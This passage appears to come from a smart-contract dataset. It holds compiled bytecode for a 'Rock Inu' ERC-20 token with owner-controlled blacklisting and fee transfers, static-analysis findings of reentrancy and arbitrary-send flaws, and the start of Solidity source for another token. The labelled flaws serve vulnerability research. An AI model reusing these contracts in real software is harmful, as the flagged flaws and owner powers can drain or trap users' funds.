} | 0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf9146103c5578063cba0e996146103dc578063d00efb2f14610419578063d543dbeb14610444578063dd62ed3e1461046d578063e47d6060146104aa57610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063c3c8cd80146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e7565b60405161015c9190613307565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612e2a565b610524565b60405161019991906132ec565b60405180910390f35b3480156101ae57600080fd5b506101b7610542565b6040516101c491906134a9565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612ddb565b610553565b60405161020191906132ec565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612d4d565b61062c565b005b34801561023f57600080fd5b5061024861071c565b604051610255919061351e565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612ea7565b610725565b005b34801561029357600080fd5b5061029c6107d7565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612d4d565b610849565b6040516102d291906134a9565b60405180910390f35b3480156102e757600080fd5b506102f061089a565b005b3480156102fe57600080fd5b506103076109ed565b604051610314919061321e565b60405180910390f35b34801561032957600080fd5b50610332610a16565b60405161033f9190613307565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612e2a565b610a53565b60405161037c91906132ec565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612e66565b610a71565b005b3480156103ba57600080fd5b506103c3610bc1565b005b3480156103d157600080fd5b506103da610c3b565b005b3480156103e857600080fd5b5061040360048036038101906103fe9190612d4d565b61119e565b60405161041091906132ec565b60405180910390f35b34801561042557600080fd5b5061042e6111f4565b60405161043b91906134a9565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612ef9565b6111fa565b005b34801561047957600080fd5b50610494600480360381019061048f9190612d9f565b611343565b6040516104a191906134a9565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612d4d565b6113ca565b6040516104de91906132ec565b60405180910390f35b60606040518060400160405280601f81526020017f526f636b20496e75207c20742e6d652f726f636b696e756f6666696369616c00815250905090565b6000610538610531611420565b8484611428565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105608484846115f3565b6106218461056c611420565b61061c85604051806060016040528060288152602001613be260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d2611420565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120379092919063ffffffff16565b611428565b600190509392505050565b610634611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b8906133e9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61072d611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b1906133e9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610818611420565b73ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b60004790506108468161209b565b50565b6000610893600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bc565b9050919050565b6108a2611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610926906133e9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f72494e55f09f8eb8000000000000000000000000000000000000000000000000815250905090565b6000610a67610a60611420565b84846115f3565b6001905092915050565b610a79611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906133e9565b60405180910390fd5b60005b8151811015610bbd576001600a6000848481518110610b51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bb5906137bf565b915050610b09565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c02611420565b73ffffffffffffffffffffffffffffffffffffffff1614610c2257600080fd5b6000610c2d30610849565b9050610c388161222a565b50565b610c43611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc7906133e9565b60405180910390fd5b600f60149054906101000a900460ff1615610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1790613469565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610db030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611428565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e9190612d76565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9057600080fd5b505afa158015610ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec89190612d76565b6040518363ffffffff1660e01b8152600401610ee5929190613239565b602060405180830381600087803b158015610eff57600080fd5b505af1158015610f13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f379190612d76565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fc030610849565b600080610fcb6109ed565b426040518863ffffffff1660e01b8152600401610fed9695949392919061328b565b6060604051808303818588803b15801561100657600080fd5b505af115801561101a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061103f9190612f22565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a0000601081905550436011819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611148929190613262565b602060405180830381600087803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119a9190612ed0565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60115481565b611202611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611286906133e9565b60405180910390fd5b600081116112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c9906133a9565b60405180910390fd5b61130160646112f383683635c9adc5dea0000061252490919063ffffffff16565b61259f90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161133891906134a9565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90613449565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90613369565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e691906134a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90613429565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90613329565b60405180910390fd5b60008111611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d90613409565b60405180910390fd5b61171e6109ed565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178c575061175c6109ed565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7457600f60179054906101000a900460ff16156119bf573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561180e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118685750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118c25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119be57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611908611420565b73ffffffffffffffffffffffffffffffffffffffff16148061197e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611966611420565b73ffffffffffffffffffffffffffffffffffffffff16145b6119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b490613489565b60405180910390fd5b5b5b6010548111156119ce57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a725750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ac85750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ad157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b7c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bea5750600f60179054906101000a900460ff165b15611c8b5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c3a57600080fd5b601e42611c4791906135df565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6002601154611c9a91906135df565b4311611eba57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dae576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611eb9565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e5a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611eb8576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6000611ec530610849565b9050600f60159054906101000a900460ff16158015611f325750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f4a5750600f60169054906101000a900460ff165b15611f7257611f588161222a565b60004790506000811115611f7057611f6f4761209b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202557600090505b612031848484846125e9565b50505050565b600083831115829061207f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120769190613307565b60405180910390fd5b506000838561208e91906136c0565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120fe600a6120f060048661252490919063ffffffff16565b61259f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612129573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61218d600a61217f60068661252490919063ffffffff16565b61259f90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121b8573d6000803e3d6000fd5b5050565b6000600654821115612203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fa90613349565b60405180910390fd5b600061220d612616565b9050612222818461259f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612288577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122b65781602001602082028036833780820191505090505b50905030816000815181106122f4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561239657600080fd5b505afa1580156123aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123ce9190612d76565b81600181518110612408577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611428565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124d39594939291906134c4565b600060405180830381600087803b1580156124ed57600080fd5b505af1158015612501573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156125375760009050612599565b600082846125459190613666565b90508284826125549190613635565b14612594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258b906133c9565b60405180910390fd5b809150505b92915050565b60006125e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612641565b905092915050565b806125f7576125f66126a4565b5b6126028484846126d5565b806126105761260f6128a0565b5b50505050565b60008060006126236128b2565b9150915061263a818361259f90919063ffffffff16565b9250505090565b60008083118290612688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267f9190613307565b60405180910390fd5b50600083856126979190613635565b9050809150509392505050565b60006008541480156126b857506000600954145b156126c2576126d3565b600060088190555060006009819055505b565b6000806000806000806126e787612914565b95509550955095509550955061274586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461297b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061282681612a23565b6128308483612ae0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161288d91906134a9565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506128e8683635c9adc5dea0000060065461259f90919063ffffffff16565b82101561290757600654683635c9adc5dea00000935093505050612910565b81819350935050505b9091565b60008060008060008060008060006129308a600854600a612b1a565b9250925092506000612940612616565b905060008060006129538e878787612bb0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612037565b905092915050565b60008082846129d491906135df565b905083811015612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1090613389565b60405180910390fd5b8091505092915050565b6000612a2d612616565b90506000612a44828461252490919063ffffffff16565b9050612a9881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612af58260065461297b90919063ffffffff16565b600681905550612b10816007546129c590919063ffffffff16565b6007819055505050565b600080600080612b466064612b38888a61252490919063ffffffff16565b61259f90919063ffffffff16565b90506000612b706064612b62888b61252490919063ffffffff16565b61259f90919063ffffffff16565b90506000612b9982612b8b858c61297b90919063ffffffff16565b61297b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bc9858961252490919063ffffffff16565b90506000612be0868961252490919063ffffffff16565b90506000612bf7878961252490919063ffffffff16565b90506000612c2082612c12858761297b90919063ffffffff16565b61297b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c4c612c478461355e565b613539565b90508083825260208201905082856020860282011115612c6b57600080fd5b60005b85811015612c9b5781612c818882612ca5565b845260208401935060208301925050600181019050612c6e565b5050509392505050565b600081359050612cb481613b9c565b92915050565b600081519050612cc981613b9c565b92915050565b600082601f830112612ce057600080fd5b8135612cf0848260208601612c39565b91505092915050565b600081359050612d0881613bb3565b92915050565b600081519050612d1d81613bb3565b92915050565b600081359050612d3281613bca565b92915050565b600081519050612d4781613bca565b92915050565b600060208284031215612d5f57600080fd5b6000612d6d84828501612ca5565b91505092915050565b600060208284031215612d8857600080fd5b6000612d9684828501612cba565b91505092915050565b60008060408385031215612db257600080fd5b6000612dc085828601612ca5565b9250506020612dd185828601612ca5565b9150509250929050565b600080600060608486031215612df057600080fd5b6000612dfe86828701612ca5565b9350506020612e0f86828701612ca5565b9250506040612e2086828701612d23565b9150509250925092565b60008060408385031215612e3d57600080fd5b6000612e4b85828601612ca5565b9250506020612e5c85828601612d23565b9150509250929050565b600060208284031215612e7857600080fd5b600082013567ffffffffffffffff811115612e9257600080fd5b612e9e84828501612ccf565b91505092915050565b600060208284031215612eb957600080fd5b6000612ec784828501612cf9565b91505092915050565b600060208284031215612ee257600080fd5b6000612ef084828501612d0e565b91505092915050565b600060208284031215612f0b57600080fd5b6000612f1984828501612d23565b91505092915050565b600080600060608486031215612f3757600080fd5b6000612f4586828701612d38565b9350506020612f5686828701612d38565b9250506040612f6786828701612d38565b9150509250925092565b6000612f7d8383612f89565b60208301905092915050565b612f92816136f4565b82525050565b612fa1816136f4565b82525050565b6000612fb28261359a565b612fbc81856135bd565b9350612fc78361358a565b8060005b83811015612ff8578151612fdf8882612f71565b9750612fea836135b0565b925050600181019050612fcb565b5085935050505092915050565b61300e81613706565b82525050565b61301d81613749565b82525050565b600061302e826135a5565b61303881856135ce565b935061304881856020860161375b565b61305181613895565b840191505092915050565b60006130696023836135ce565b9150613074826138a6565b604082019050919050565b600061308c602a836135ce565b9150613097826138f5565b604082019050919050565b60006130af6022836135ce565b91506130ba82613944565b604082019050919050565b60006130d2601b836135ce565b91506130dd82613993565b602082019050919050565b60006130f5601d836135ce565b9150613100826139bc565b602082019050919050565b60006131186021836135ce565b9150613123826139e5565b604082019050919050565b600061313b6020836135ce565b915061314682613a34565b602082019050919050565b600061315e6029836135ce565b915061316982613a5d565b604082019050919050565b60006131816025836135ce565b915061318c82613aac565b604082019050919050565b60006131a46024836135ce565b91506131af82613afb565b604082019050919050565b60006131c76017836135ce565b91506131d282613b4a565b602082019050919050565b60006131ea6011836135ce565b91506131f582613b73565b602082019050919050565b61320981613732565b82525050565b6132188161373c565b82525050565b60006020820190506132336000830184612f98565b92915050565b600060408201905061324e6000830185612f98565b61325b6020830184612f98565b9392505050565b60006040820190506132776000830185612f98565b6132846020830184613200565b9392505050565b600060c0820190506132a06000830189612f98565b6132ad6020830188613200565b6132ba6040830187613014565b6132c76060830186613014565b6132d46080830185612f98565b6132e160a0830184613200565b979650505050505050565b60006020820190506133016000830184613005565b92915050565b600060208201905081810360008301526133218184613023565b905092915050565b600060208201905081810360008301526133428161305c565b9050919050565b600060208201905081810360008301526133628161307f565b9050919050565b60006020820190508181036000830152613382816130a2565b9050919050565b600060208201905081810360008301526133a2816130c5565b9050919050565b600060208201905081810360008301526133c2816130e8565b9050919050565b600060208201905081810360008301526133e28161310b565b9050919050565b600060208201905081810360008301526134028161312e565b9050919050565b6000602082019050818103600083015261342281613151565b9050919050565b6000602082019050818103600083015261344281613174565b9050919050565b6000602082019050818103600083015261346281613197565b9050919050565b60006020820190508181036000830152613482816131ba565b9050919050565b600060208201905081810360008301526134a2816131dd565b9050919050565b60006020820190506134be6000830184613200565b92915050565b600060a0820190506134d96000830188613200565b6134e66020830187613014565b81810360408301526134f88186612fa7565b90506135076060830185612f98565b6135146080830184613200565b9695505050505050565b6000602082019050613533600083018461320f565b92915050565b6000613543613554565b905061354f828261378e565b919050565b6000604051905090565b600067ffffffffffffffff82111561357957613578613866565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135ea82613732565b91506135f583613732565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561362a57613629613808565b5b828201905092915050565b600061364082613732565b915061364b83613732565b92508261365b5761365a613837565b5b828204905092915050565b600061367182613732565b915061367c83613732565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136b5576136b4613808565b5b828202905092915050565b60006136cb82613732565b91506136d683613732565b9250828210156136e9576136e8613808565b5b828203905092915050565b60006136ff82613712565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061375482613732565b9050919050565b60005b8381101561377957808201518184015260208101905061375e565b83811115613788576000848401525b50505050565b61379782613895565b810181811067ffffffffffffffff821117156137b6576137b5613866565b5b80604052505050565b60006137ca82613732565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137fd576137fc613808565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ba5816136f4565b8114613bb057600080fd5b50565b613bbc81613706565b8114613bc757600080fd5b50565b613bd381613732565b8114613bde57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205c5ba6eb3b4bc6eea3f3182e8ae739ecf3c72ff18fdf160c1e131bdd1ef5592464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,977 |
0x81c798c7f145c193d7c0c8ed41dc1acc358cc379 | /**
*Submitted for verification
*/
/**
*Submitted for verification at
*/
/**
*Submitted for verification
*/
/**
___ ___ ___ _ _ ___
( _`\ /'___) | _`\ ( ) ( )_ | _`\ _
| (_(_) _ _ | (__ __ | (_) ) _ ___ | |/') __ | ,_)| (_) )(_) ___ __
`\__ \ /'_` )| ,__)/'__`\| , / /'_`\ /'___)| , < /'__`\| | | , / | |/',__) /'__`\
( )_) |( (_| || | ( ___/| |\ \ ( (_) )( (___ | |\`\ ( ___/| |_ | |\ \ | |\__, \( ___/
`\____)`\__,_)(_) `\____)(_) (_)`\___/'`\____)(_) (_)`\____)`\__)(_) (_)(_)(____/`\____)
*/
//Telegram: https://t.me/SafeRocketRise//
//Website: www.SafeRocketRise.xyz//
//Stealth Launched//
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
